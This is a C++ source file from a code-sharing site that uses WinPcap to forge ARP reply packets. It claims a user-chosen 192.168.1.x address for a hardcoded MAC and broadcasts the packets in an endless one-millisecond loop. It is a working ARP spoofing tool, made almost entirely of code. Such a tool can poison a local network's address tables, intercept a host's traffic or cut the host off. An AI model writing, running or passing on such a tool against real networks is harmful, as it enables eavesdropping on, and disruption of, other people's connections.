arppcap.cpp
上传用户:gzdtt123
上传日期:2022-01-26
资源大小:88k
文件大小:3k
开发平台:

Visual C++

  1. #include "arpcap.h"
  2. #define HARDWARE_ADDR "081016CC3684"
  3. int main(int argc,char* argv[])
  4. {
  5. //WinExec("arp.exe -s 192.168.1.1 08-10-17-cc-36-84",SW_SHOW);
  6. printf("IP:192.168.1.");
  7. scanf("%d",&Ip);
  8. InitDevice();
  9. InitPacket();
  10. int size = sizeof(arp);
  11. /*static long slp = 0;*/
  12. printf("启动完毕...n发送中...n");
  13. while (1)
  14. {
  15. if (pcap_sendpacket(ahandle,(unsigned char*)&arp,size) != 0)
  16. {
  17. printf("发送失败!n");
  18. }
  19. Sleep(1);
  20. }
  21. system("pause");
  22. return 1;
  23. }
  24. //初始化设备
  25. void InitDevice()
  26. {
  27. if (pcap_findalldevs(&alldev,errbuf) == -1)
  28. {
  29. printf("获得设备失败!n%s",errbuf);
  30. exit(0);
  31. }
  32. int i = 0;
  33. for(device=alldev; device; device=device->next)                  //打印出系统里所有的网卡
  34.     {
  35.         printf("%d. %s", ++i, device->name);
  36.         if (device->description)
  37.             printf(" (%s)n", device->description);
  38.         else
  39.             printf(" (No description available)n");
  40.     }
  41.     
  42.     if(i==0)
  43.     {
  44.         printf("nNo interfaces found! Make sure WinPcap is installed.n");
  45.         return;
  46.     }
  47.     
  48. int inum = 0;
  49.     printf("Enter the interface number (1-%d):",i);
  50.     scanf("%d", &inum);                                //输入一个你选择的网卡号
  51.     
  52.     if(inum < 1 || inum > i)
  53.     {
  54.         printf("nInterface number out of range.n");
  55.        
  56.         pcap_freealldevs(alldev);
  57.         return;
  58.     }
  59.     
  60.     
  61.     for(device=alldev, i=0; i< inum-1 ;device=device->next, i++);  //从刚才输入的网卡号找到适当的网卡指针
  62. ahandle = pcap_open_live(device->name,65535,1,1000,errbuf);
  63. if (!ahandle)
  64. {
  65. printf("打开设备失败!n%s",errbuf);
  66. FreeDevice();
  67. exit(0);
  68. }
  69. }
  70. //结束释放
  71. void FreeDevice()
  72. {
  73. pcap_freealldevs(alldev);
  74. }
  75. //构造数据包
  76. void InitPacket()
  77. {
  78. memset(&arp,0,sizeof(arp));
  79. WriteHard(&arp.eth.dst_mac[0],"FFFFFFFFFFFF");
  80. WriteHard(&arp.eth.src_mac[0],HARDWARE_ADDR);
  81. arp.eth.eth_t = htons(ETH_ARP);
  82. arp.arp.arp_hdr = htons(ARP_HARDWARE);
  83. arp.arp.arp_pro = htons(ETH_IP);
  84. arp.arp.arp_hln = 6;
  85. arp.arp.arp_pln = 4;
  86. arp.arp.arp_opt = htons(ARP_REPLY);
  87. WriteHard(&arp.arp.arp_sha[0],HARDWARE_ADDR);
  88. char RemoteIP[1024]={0};
  89. wsprintf(RemoteIP,"192.168.1.%d",Ip);
  90. arp.arp.arp_spa = inet_addr(/*"192.168.1.92"*/RemoteIP);
  91. WriteHard(&arp.arp.arp_tha[0], "FFFFFFFFFFFF");
  92. arp.arp.arp_tpa = inet_addr("255.255.255.255");
  93. }
  94. //写入MAC地址
  95. void WriteHard(unsigned char *Hard,char* Src)
  96. {
  97. char hchr=0;
  98. char lchr=0;
  99. int j=0;
  100. int rst;
  101. Src = strupr(_strdup(Src));
  102. for (int i=0;i<(int)strlen(Src);(++i)++)
  103. {
  104. lchr = Src[i];
  105. hchr = Src[i+1];
  106. lchr = Hex(lchr);
  107. hchr = Hex(hchr);
  108. rst = lchr * 16 + hchr;
  109. Hard[j] = rst;
  110. j++;
  111. }
  112. }
  113. //十六进制转换
  114. char Hex(char Src)
  115. {
  116. if (Src >= 'A' && Src <= 'Z')
  117. return (Src-55);
  118. else
  119. return (Src-48);
  120. }